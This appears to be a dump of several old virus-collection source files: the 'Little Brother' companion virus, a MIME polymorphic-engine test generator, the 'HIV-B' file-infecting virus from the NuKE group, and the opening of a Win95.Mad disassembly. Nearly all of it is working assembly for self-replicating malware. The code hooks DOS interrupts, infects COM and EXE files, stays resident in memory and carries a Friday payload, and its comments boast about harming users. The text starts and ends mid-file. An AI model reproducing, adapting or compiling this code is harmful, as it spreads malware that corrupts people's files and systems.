pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+256
View File
@@ -0,0 +1,256 @@
;****************************************************************************
;* Little Brother version 3
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
oi21 equ end
nameptr equ end+4
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov sp,300
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: push cs ;restore segment registers
pop ds
push cs
pop es
mov bx,30 ;free memory
mov ah,4A
int 21
mov es,ds:[002C] ;search filename in environment
mov di,0
mov ch,0FFh
mov al,01
repnz scasb
inc di
mov word ptr [nameptr],di
mov word ptr [nameptr+2],es
mov si,offset EXE_txt ;change extension to .EXE
call change_ext
push cs
pop es
mov bx,offset param ;make EXEC param. block
mov [bx+4],cs
mov [bx+8],cs
mov [bx+0C],cs
lds dx,dword ptr [nameptr]
mov ax,4B00 ;execute .EXE program
int 21
mov ah,4Dh ;ask return code
int 21
mov ah,4Ch ;exit with same return code
int 21
;****************************************************************************
;* EXEC parameter block
;****************************************************************************
param dw 0, 80, ?, 5C, ?, 6C, ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs
pop ds
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz return
mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute .EXE program
return: ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin
Binary file not shown.
+85
View File
@@ -0,0 +1,85 @@
.286
.model small
.code
org 0100h
msg_addr equ offset msg - offset proc_start- 3
extrn mime:near,emime:near
; 以下程式,除了要注意的地方有注解,其它部份自己研究
start:
mov ah,09h
mov dx,offset dg_msg
int 21h
mov ax,offset emime+000fh ; 本程式 + mime+000fh 之後的位址
; 若減 0100h 則成為本程式 + mime 的長度
shr ax,4
mov bx,cs
add bx,ax
mov es,bx ; 設 es 用來放解碼程式和被編碼資料
; 解碼程式最大為 1024 bytes
; 若用在常駐程式時,則須注意分配的記憶體大小
mov cx,50
dg_l0:
push cx
mov ah,3ch
xor cx,cx
mov dx,offset file_name
int 21h
xchg bx,ax
mov cx,offset proc_end-offset proc_start ; 被編碼程式的長度
mov si,offset proc_start ; ds:si -> 要被編碼的程式位址
xor di, di
push bx ; 保存 file handle
mov bx, 100h ; com 模式
call mime
pop bx
mov ah,40h ; 返回時 ds:dx = 解碼程式 + 被編碼程式的位址
int 21h ; cx = 解碼程式 + 被編碼程式的長度,其它暫存器不變
mov ah,3eh
int 21h
push cs
pop ds ; 將 ds 設回來
mov bx,offset file_num
inc byte ptr ds:[bx+0001h]
cmp byte ptr ds:[bx+0001h],'9'
jbe dg_l1
inc byte ptr ds:[bx]
mov byte ptr ds:[bx+0001h],'0'
dg_l1:
pop cx
loop dg_l0
mov ah,4ch
int 21h
file_name db '000000'
file_num db '00.com',00h
dg_msg db 'generates 50 mime encrypted test files.',0dh,0ah,'$'
proc_start:
call $+0003h
pop dx
add dx,msg_addr
mov ah,09h
int 21h
int 20h
msg db 'This is <MIME> test file.$'
proc_end:
end start
+752
View File
@@ -0,0 +1,752 @@
DATA_1E EQU 4CH ; Just a Few Data Segments that are
DATA_3E EQU 84H ; Needed for the virus to find some
DATA_5E EQU 90H ; hard core info...
DATA_7E EQU 102H
DATA_8E EQU 106H
DATA_9E EQU 122H
DATA_10E EQU 124H
DATA_11E EQU 15AH
DATA_12E EQU 450H
DATA_13E EQU 462H
DATA_14E EQU 47BH
DATA_15E EQU 0
DATA_16E EQU 1
DATA_17E EQU 2
DATA_18E EQU 6
DATA_42E EQU 0FB2CH
DATA_43E EQU 0FB2EH
DATA_44E EQU 0FB4BH
DATA_45E EQU 0FB4DH
DATA_46E EQU 0FB83H
DATA_47E EQU 0FB8DH
DATA_48E EQU 0FB8FH
DATA_49E EQU 0FB95H
DATA_50E EQU 0FB97H
DATA_51E EQU 0
DATA_52E EQU 2
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h ; Compile this to a .COM file!
; So the Virus starts at 0100h
HIV PROC FAR
START:
JMP LOC_35
DB 0C3H
DB 23 DUP (0C3H)
DB 61H, 6EH, 74H, 69H, 64H, 65H
DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
DB 'HIV-B Virus - Release 1.1 [NukE]'
DB ' '
copyright DB '(C) Edited by Rock Steady [NukE]'
DB 0, 0
DATA_24 DW 0
DATA_25 DW 0
DATA_26 DW 0
DATA_27 DW 706AH
DATA_28 DD 00000H
DATA_29 DW 0
DATA_30 DW 706AH
DATA_31 DD 00000H
DATA_32 DW 0
DATA_33 DW 706AH
DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
DB '$'
DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
DB 75H, 9, 55H, 8BH, 0ECH, 83H
DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
DB 0FCH, 4BH, 74H, 12H, 3DH, 0
DB 3DH, 74H, 0DH, 3DH, 0, 6CH
DB 75H, 5, 80H, 0FBH, 0, 74H
DB 3
LOC_1:
JMP LOC_13
LOC_2:
PUSH ES ; Save All Regesters so that when
PUSH DS ; we restore the program it will
PUSH DI ; RUN correctly and hide the fact
PUSH SI ; that any Virii is tampering with
PUSH BP ; the System....
PUSH DX
PUSH CX
PUSH BX
PUSH AX
CALL SUB_6
CALL SUB_7
CMP AX,6C00H
JNE LOC_3 ; Jump if not equal
MOV DX,SI
LOC_3:
MOV CX,80H
MOV SI,DX
LOCLOOP_4:
INC SI ; Slowly down the System a
MOV AL,[SI] ; little.
OR AL,AL ; Zero ?
LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
SUB SI,2
CMP WORD PTR [SI],4D4FH
JE LOC_7 ; Jump if equal
CMP WORD PTR [SI],4558H
JE LOC_6 ; Jump if equal
LOC_5:
JMP SHORT LOC_12 ;
DB 90H
LOC_6:
CMP WORD PTR [SI-2],452EH
JE LOC_8 ; Jump if equal
JMP SHORT LOC_5 ;
LOC_7:
NOP
CMP WORD PTR [SI-2],432EH
JNE LOC_5 ; Jump if not equal
LOC_8:
MOV AX,3D02H
CALL SUB_5
JC LOC_12 ; Jump if carry Set
MOV BX,AX
MOV AX,5700H
CALL SUB_5 ; Initsilize the virus...
MOV CS:DATA_24,CX ; A Basic Start up to check
MOV CS:DATA_25,DX ; The Interrup 21h
MOV AX,4200H
XOR CX,CX
XOR DX,DX
CALL SUB_5
PUSH CS
POP DS
MOV DX,103H
MOV SI,DX
MOV CX,18H
MOV AH,3FH
CALL SUB_5
JC LOC_10 ; Jump if carry Set
CMP WORD PTR [SI],5A4DH
JNE LOC_9 ; Jump if not equal
CALL SUB_1
JMP SHORT LOC_10
LOC_9:
CALL SUB_4
LOC_10:
JC LOC_11 ; Jump if carry Set
MOV AX,5701H
MOV CX,CS:DATA_24
MOV DX,CS:DATA_25
CALL SUB_5
LOC_11:
MOV AH,3EH ; '>'
CALL SUB_5
LOC_12:
CALL SUB_7
POP AX ; A Stealth Procedure to
POP BX ; end the virus and restore
POP CX ; the program! Pup back all
POP DX ; regesters as we found them!
POP BP ; so nothings changed...
POP SI
POP DI
POP DS
POP ES
LOC_13:
JMP CS:DATA_28
DB 0B4H, 2AH, 0CDH, 21H, 0C3H
HIV ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_1 PROC NEAR ; Start of the Virus!
MOV AH,2AH ; Get the Date system Date!
INT 21H ; If its Friday Display the
; message at Data34 and End!
CMP AL,6
JE LOC_15 ; If Friday display message
JNZ LOC_14 ; If not continue infecting
LOC_14: ; and screwing the system!
MOV CX,[SI+16H]
ADD CX,[SI+8]
MOV AX,10H
MUL CX ; dx:ax = reg * ax
ADD AX,[SI+14H]
ADC DX,0
PUSH DX
PUSH AX
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP DX,0
JNE LOC_16 ; Jump if not equal
CMP AX,64EH
JAE LOC_16 ; Jump if above or =
POP AX
POP DX
STC ; Set carry flag
RETN
LOC_15:
MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
MOV AH,9 ; With New Offset Address in
INT 21H ; memory!
;
POP AX ; Restore all Regesters as if
POP BX ; nothing was changed and exit
POP CX ; virus and run File...
POP DX
POP SI
POP DI
POP BP
POP DS
POP ES
MOV AH,0 ; Exit Virus if your in a .EXE
INT 21H ; File!!!
; Exit virus if your in a .COM
INT 20H ; File!!!
LOC_16:
MOV DI,AX
MOV BP,DX
POP CX
SUB AX,CX
POP CX
SBB DX,CX
CMP WORD PTR [SI+0CH],0
JE LOC_RET_19 ; Jump if equal
CMP DX,0
JNE LOC_17 ; Jump if not equal
CMP AX,64EH
JNE LOC_17 ; Jump if not equal
STC ; Set carry flag
RETN
LOC_17:
MOV DX,BP
MOV AX,DI
PUSH DX
PUSH AX
ADD AX,64EH
ADC DX,0
MOV CX,200H
DIV CX ; Find out How much System
LES DI,DWORD PTR [SI+2] ; memory is available...
MOV CS:DATA_26,DI ;
MOV CS:DATA_27,ES ; Every so often make the
MOV [SI+2],DX ; system memory small than
CMP DX,0 ; what it already is...
JE LOC_18 ; Screws up the users hehe
INC AX
LOC_18:
MOV [SI+4],AX
POP AX
POP DX
CALL SUB_2
SUB AX,[SI+8]
LES DI,DWORD PTR [SI+14H]
MOV DS:DATA_9E,DI
MOV DS:DATA_10E,ES
MOV [SI+14H],DX ; Tie up some memory!
MOV [SI+16H],AX ; release it on next execution
MOV DS:DATA_11E,AX ; Jump to su routine to do
MOV AX,4202H ; this and disable interrups
XOR CX,CX
XOR DX,DX
CALL SUB_5
CALL SUB_3
JC LOC_RET_19
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
MOV AH,40H
MOV DX,SI
MOV CX,18H
CALL SUB_5
LOC_RET_19:
RETN
SUB_1 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_2 PROC NEAR
MOV CX,4
MOV DI,AX
AND DI,0FH
LOCLOOP_20:
SHR DX,1 ; Shift w/zeros fill
RCR AX,1 ; Rotate thru carry
LOOP LOCLOOP_20 ; Loop if cx > 0
MOV DX,DI
RETN
SUB_2 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_3 PROC NEAR
MOV AH,40H
MOV CX,64EH
MOV DX,100H
CALL SUB_6
JMP SHORT LOC_24
DB 90H
;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_4:
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP AX,64EH
JB LOC_RET_23 ; Jump if below
CMP AX,0FA00H
JAE LOC_RET_23 ; Jump if above or =
PUSH AX
CMP BYTE PTR [SI],0E9H
JNE LOC_21 ; Jump if not equal
SUB AX,651H
CMP AX,[SI+1]
JNE LOC_21 ; Jump if not equal
POP AX
STC ; Set carry flag
RETN
LOC_21:
CALL SUB_3
JNC LOC_22 ; Jump if carry=0
POP AX
RETN
LOC_22:
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
POP AX
SUB AX,3
MOV DX,122H
MOV SI,DX
MOV BYTE PTR CS:[SI],0E9H
MOV CS:[SI+1],AX
MOV AH,40H
MOV CX,3
CALL SUB_5
LOC_RET_23:
RETN
SUB_3 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_5 PROC NEAR
LOC_24:
PUSHF ; Push flags
CALL CS:DATA_28
RETN
SUB_5 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_6 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable the interrupts
LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
MOV CS:DATA_29,AX ; to the COM File...
MOV CS:DATA_30,ES
MOV AX,46AH
MOV DS:DATA_5E,AX
MOV WORD PTR DS:DATA_5E+2,CS
LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
MOV CS:DATA_32,AX ; get your info needed on
MOV CS:DATA_33,ES ; System...
LES AX,CS:DATA_31
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable the interrupts
POP ES ; and restore regesters!
POP DS ; go back to the file
POP AX ; being executed...
RETN
SUB_6 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_7 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable interrupts
LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
MOV DS:DATA_5E,AX ; yourself to the EXE
MOV WORD PTR DS:DATA_5E+2,ES
LES AX,DWORD PTR CS:DATA_32
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable interrupts
POP ES
POP DS
POP AX
RETN
SUB_7 ENDP
DB 0B0H, 3, 0CFH, 50H, 53H, 51H
DB 52H, 56H, 57H, 55H, 1EH, 6
DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
DB 62H, 4, 0A1H, 50H, 4, 2EH
DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
DB 4, 0A3H, 50H, 4, 2EH, 0A1H
DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
DB 34H, 0, 0E8H, 0B7H, 0, 2EH
DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
DB 0B3H, 2, 0B8H, 2, 9, 0B9H
DB 1, 0, 0CDH, 10H, 2EH, 0A1H
DB 0CEH, 4, 0A3H, 50H, 4, 7
DB 1FH
DB ']_^ZY[X.'
DB 0FFH, 2EH, 0CAH, 4
DATA_36 DW 0
DATA_37 DW 1010H
DATA_39 DB 0
DATA_40 DD 706A0000H
DB 0, 0, 2EH, 0A1H, 0C7H, 4
DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
DB 0F6H, 6, 0C9H, 4, 1, 74H
DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
DB 80H, 36H, 0C9H, 4, 1, 0EBH
DB 0AH
LOC_25:
CMP AL,0
JG LOC_26 ; Jump if >
XOR CS:DATA_39,1
LOC_26:
TEST CS:DATA_39,2
JZ LOC_27 ; Jump if zero
CMP AH,18H
JB LOC_28 ; Jump if below
XOR CS:DATA_39,2
JMP SHORT LOC_28
LOC_27:
CMP AH,0
JG LOC_28 ; Jump if >
XOR CS:DATA_39,2
LOC_28:
CMP BYTE PTR CS:DATA_36,20H
JE LOC_29 ; Jump if equal
CMP BYTE PTR CS:DATA_37+1,0
JE LOC_29 ; Jump if equal
XOR CS:DATA_39,2
LOC_29:
TEST CS:DATA_39,1
JZ LOC_30 ; Jump if zero
INC BYTE PTR CS:DATA_37
JMP SHORT LOC_31
LOC_30:
DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
LOC_31:
TEST CS:DATA_39,2 ; (706A:04C9=0)
JZ LOC_32 ; Jump if zero
INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
JMP SHORT LOC_RET_33 ; (0555)
LOC_32:
DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
LOC_RET_33:
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_8 PROC NEAR
MOV AX,CS:DATA_37
MOV DS:DATA_12E,AX ; Get info on type of Video
MOV BH,DS:DATA_13E ; Display the system has...
MOV AH,8
INT 10H ; with ah=functn 08h
; basically fuck the cursur..
MOV CS:DATA_36,AX
RETN
SUB_8 ENDP
DB 50H, 53H, 51H, 52H, 56H, 57H
DB 55H, 1EH, 6, 33H, 0C0H, 50H
DB 1FH, 81H, 3EH, 70H, 0, 6DH
DB 4, 74H, 35H, 0A1H, 6CH, 4
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
DB 50H, 4, 0C4H, 6, 70H, 0
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
DB 6, 0CCH, 4, 0C7H, 6, 70H
DB 0, 6DH, 4, 8CH, 0EH, 72H
DB 0, 0FBH
LOC_34:
POP ES
POP DS ; Restore and get lost...
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_9 PROC NEAR
MOV DX,10H
MUL DX ; dx:ax = reg * ax
RETN
SUB_9 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_10 PROC NEAR
XOR AX,AX ; If if wants to dissamble
XOR BX,BX ; us give him a HARD time...
XOR CX,CX ; By making all into 0
XOR DX,DX ; Zero register
XOR SI,SI ; Zero register
XOR DI,DI ; Zero register
XOR BP,BP ; Zero register
RETN
SUB_10 ENDP
LOC_35:
PUSH DS
CALL SUB_11
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_11 PROC NEAR
MOV AX,4B4DH
INT 21H ; Load and EXEC file...
; be runned...
NOP
JC LOC_36 ; Jump if carry Set
JMP LOC_46
LOC_36:
POP SI
PUSH SI
MOV DI,SI
XOR AX,AX ; Zero register
PUSH AX
POP DS
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
MOV CS:DATA_49E[SI],AX ; Move lots of data
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
MOV CS:DATA_47E[DI],BX
MOV CS:DATA_48E[DI],ES
MOV AX,DS:DATA_7E
CMP AX,0F000H
JNE LOC_44 ; Jump if not equal
MOV DL,80H
MOV AX,DS:DATA_8E
CMP AX,0F000H
JE LOC_37 ; Jump if equal
CMP AH,0C8H
JB LOC_44 ; Jump if below
CMP AH,0F4H
JAE LOC_44 ; Jump if above or =
TEST AL,7FH
JNZ LOC_44 ; Jump if not zero
MOV DS,AX
CMP WORD PTR DS:DATA_51E,0AA55H
JNE LOC_44 ; Jump if not equal
MOV DL,DS:DATA_52E
LOC_37:
MOV DS,AX
XOR DH,DH ; Zero register
MOV CL,9
SHL DX,CL ; Shift w/zeros fill
MOV CX,DX
XOR SI,SI ; Zero register
LOCLOOP_38:
LODSW ; String [si] to ax
CMP AX,0FA80H
JNE LOC_39 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7380H
JE LOC_40 ; Jump if equal
JNZ LOC_41 ; Jump if not zero
LOC_39:
CMP AX,0C2F6H
JNE LOC_42 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7580H
JNE LOC_41 ; Jump if not equal
LOC_40:
INC SI
LODSW ; String [si] to ax
CMP AX,40CDH
JE LOC_43 ; Jump if equal
SUB SI,3
LOC_41:
DEC SI
DEC SI
LOC_42:
DEC SI
LOOP LOCLOOP_38 ; Loop if cx > 0
JMP SHORT LOC_44
LOC_43:
SUB SI,7
MOV CS:DATA_49E[DI],SI
MOV CS:DATA_50E[DI],DS
LOC_44:
MOV AH,62H
INT 21H ; Simple...Get the PSP
; Address (Program segment
MOV ES,BX ; address and but in BX)
MOV AH,49H
INT 21H ; Get the Free memory from
; the system
MOV BX,0FFFFH ; release extra memory blocks
MOV AH,48H
INT 21H ; Allocate the memory
; At BX (# bytes)
SUB BX,66H ; it attaches virus right
NOP ; under the 640k
JC LOC_46
MOV CX,ES ; did it work? If not just
STC ; end the virus...
ADC CX,BX
MOV AH,4AH
INT 21H ; Adjust teh memory block
; size! BX has the # of bytes
MOV BX,65H
STC ; Set carry flag
SBB ES:DATA_17E,BX ; Where to attach itself!
PUSH ES ; under 640K
MOV ES,CX
MOV AH,4AH
INT 21H ; Just change the memory
; allocations! (BX=Btyes Size)
MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
CALL SUB_9
MOV BX,AX
MOV CX,DX
POP DS
MOV AX,DS
CALL SUB_9
ADD AX,DS:DATA_18E
ADC DX,0
SUB AX,BX
SBB DX,CX
JC LOC_45 ; Jump if carry Set
SUB DS:DATA_18E,AX
LOC_45:
MOV SI,DI
XOR DI,DI ; Zero register
PUSH CS
POP DS
SUB SI,4D7H
MOV CX,64EH
INC CX
REP MOVSB ; Rep when cx >0 Mov [si] to
MOV AH,62H ; es:[di]
INT 21H ; Get the Program segment
; prefix...so we can infect it
DEC BX
MOV DS,BX
MOV BYTE PTR DS:DATA_15E,5AH
MOV DX,1E4H
XOR AX,AX ; Zero register
PUSH AX
POP DS
MOV AX,ES
SUB AX,10H
MOV ES,AX
CLI ; Disable interrupts
MOV DS:DATA_3E,DX ;
MOV WORD PTR DS:DATA_3E+2,ES
STI ; Enable interrupts
DEC BYTE PTR DS:DATA_14E ;
LOC_46:
POP SI
CMP WORD PTR CS:DATA_42E[SI],5A4DH
JNE LOC_47 ; Jump if not equal
POP DS
MOV AX,CS:DATA_46E[SI]
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
PUSH CS ; the program and continue
POP CX ; running the original
SUB CX,AX ; program...
ADD CX,BX
PUSH CX
PUSH WORD PTR CS:DATA_44E[SI]
PUSH DS
POP ES
CALL SUB_10
RETF
LOC_47:
POP AX
MOV AX,CS:DATA_42E[SI]
MOV WORD PTR CS:[100H],AX
MOV AX,CS:DATA_43E[SI]
MOV WORD PTR CS:[102H],AX
MOV AX,100H
PUSH AX
PUSH CS
POP DS
PUSH DS
POP ES
CALL SUB_10
RETN
SUB_11 ENDP
SEG_A ENDS
END START
Rock Steady [NuKE]
+520
View File
@@ -0,0 +1,520 @@
;Win95.Mad.2736 disassembly
;(c) Vecna/29A
;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When executed,
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
;and call they everytime that need get a function, instead of searching
;once and storing the API address. Anyway, the API search dont seens reliable
;enought, and i cant make it replicate in my machine.
;A special thank goes this time for VirusBuster, my virus provider, that
;always have nice virii for me... :-)
;Tasm /m w95mad.asm
.386p
.model flat
.data
dd ?
.code
start:
call delta
delta:
pop edi
mov eax, edi
old_RVA:
sub eax, 2005h ;setup host entry point
sub edi, offset delta
mov ds:HostEntry[edi], eax
mov ds:SaveEBP[edi], ebp
mov ebp, edi
xor eax, eax
mov edi, offset start_encript
add edi, ebp
